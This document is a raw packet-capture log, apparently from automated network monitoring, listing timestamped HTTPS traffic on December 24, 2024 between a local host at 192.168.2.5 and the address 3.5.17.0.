Dec 24, 2024 08:42:53.854099989 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.854110956 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.854125023 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.854146957 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.857273102 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.875972986 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.875993013 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.876039028 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.876049042 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.876651049 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.878753901 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.878803968 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.899171114 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.899192095 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.899249077 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.899259090 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.899322987 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.899327040 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.919591904 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.919631004 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.919661045 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.919672012 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.919691086 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.939992905 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.940042019 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.940061092 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.940071106 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.940105915 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.959052086 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.959099054 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.959134102 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.959148884 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.959161043 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.959161043 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.000081062 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.000106096 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.037081957 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.037103891 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.037149906 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.037159920 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.037197113 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.053024054 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.053045988 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.053073883 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.053092957 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.053100109 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.053128958 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.067831993 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.067842007 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.067883015 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.067898035 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.067934036 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.067943096 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.067975998 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.068003893 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.080997944 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.081012964 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.081083059 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.081089020 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.081130981 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.082726002 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.092983007 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.092997074 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.093054056 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.093059063 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.093080997 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.100650072 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.100714922 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.100734949 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.100740910 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.100780010 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.108012915 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.108062029 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.108082056 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.108088017 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.108134985 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.109101057 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.109158993 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.115325928 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.115341902 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.115422010 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.115426064 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.115468025 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.116283894 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.171967030 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.230756998 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.230773926 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.230865002 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.230871916 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.230916023 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.231650114 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.238535881 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.238552094 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.238614082 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.238621950 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.238666058 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.245073080 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.245095968 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.245167017 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.245173931 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.251601934 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.251616001 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.251678944 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.251686096 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.257786989 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.257803917 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.257931948 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.257940054 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.265110970 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.265136003 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.265187025 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.265192986 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.265213966 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.265260935 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.271684885 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.271699905 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.271776915 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.271786928 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.271795034 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.271831989 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.419810057 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.419832945 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.419893026 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.419923067 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.419939041 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.419967890 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.426335096 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.426352978 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.426392078 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.426397085 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.426430941 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.432903051 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.432929039 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.433018923 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.433023930 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.433064938 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.439498901 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.439513922 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.439568043 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.439573050 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.439608097 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.439623117 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.440289974 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.446024895 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.446038961 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.446115017 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.446120977 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.452930927 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.452975035 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.453013897 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.453018904 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.453046083 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.459665060 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.459691048 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.459741116 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.459747076 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.459781885 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.459810972 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.466197968 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.466212034 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.466258049 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.466262102 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.466304064 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.466943979 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.471726894 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.615051031 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.615072966 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.615106106 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.615132093 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.615144014 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.615186930 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.621500015 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.621517897 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.621562004 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.621567011 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.621593952 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.628077030 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.628142118 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.628154039 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.628180981 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.628216982 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.634615898 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.634675026 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.634716988 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.634725094 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.634751081 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.641629934 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.641663074 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.641700029 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.641707897 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.641731024 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.641772985 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.648166895 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.648186922 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.648231030 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.648236990 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.648267031 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.648288012 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.648968935 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.654695034 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.654709101 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.654757023 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.654762983 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.654798031 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.703221083 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.703238010 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.750077963 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.804476976 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.804486036 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.804546118 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.804568052 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.804580927 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.804609060 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.804630041 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.810985088 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.811002016 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.811048985 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.811053038 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.811084032 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.817550898 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.817601919 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.817620039 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.817630053 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.817667007 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.817703962 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.817754984 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.824085951 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.824100971 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.824162960 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.824167967 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.824316025 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.824320078 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.830765963 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.830782890 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.830842018 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.830847025 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.830877066 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.837634087 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.837693930 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.837696075 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.837713957 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.837759018 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.837764025 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.839339018 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.844161987 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.844177961 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.844239950 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.844244957 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.844297886 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.844301939 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.846626997 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.850749016 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.850764036 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.850811005 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.850857019 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.850862980 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.850909948 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.864247084 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.999619007 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.999639988 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.999711990 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.999773979 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:54.999784946 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:54.999797106 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.006264925 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.006284952 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.006345034 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.006354094 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.012736082 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.012748957 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.012815952 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.012820959 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.019325018 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.019380093 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.019396067 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.019407988 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.019455910 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.020114899 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.020162106 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.026248932 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.026267052 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.026325941 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.026335001 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.026379108 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.026391029 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.032860994 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.032881021 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.032926083 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.032932043 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.032965899 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.039531946 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.039591074 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.039598942 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.039846897 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.039915085 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.039921045 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.053534031 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.053544044 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.053585052 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.188261032 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.188282967 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.188340902 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.188355923 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.188435078 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.189018011 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.195570946 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.195590973 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.195628881 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.195635080 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.195660114 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.202090979 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.202140093 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.202167988 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.202173948 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.202203035 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.208647013 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.208690882 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.208739042 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.208745003 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.208842039 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.215195894 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.215210915 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.215280056 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.215285063 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.215322018 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.215357065 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.222177982 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.222192049 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.222261906 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.222266912 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.228724957 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.228760004 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.228799105 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.228805065 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.228832006 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.235266924 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.235306978 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.235332012 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:55.235337019 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:55.235378027 CET	49744	443	192.168.2.5	3.5.17.0
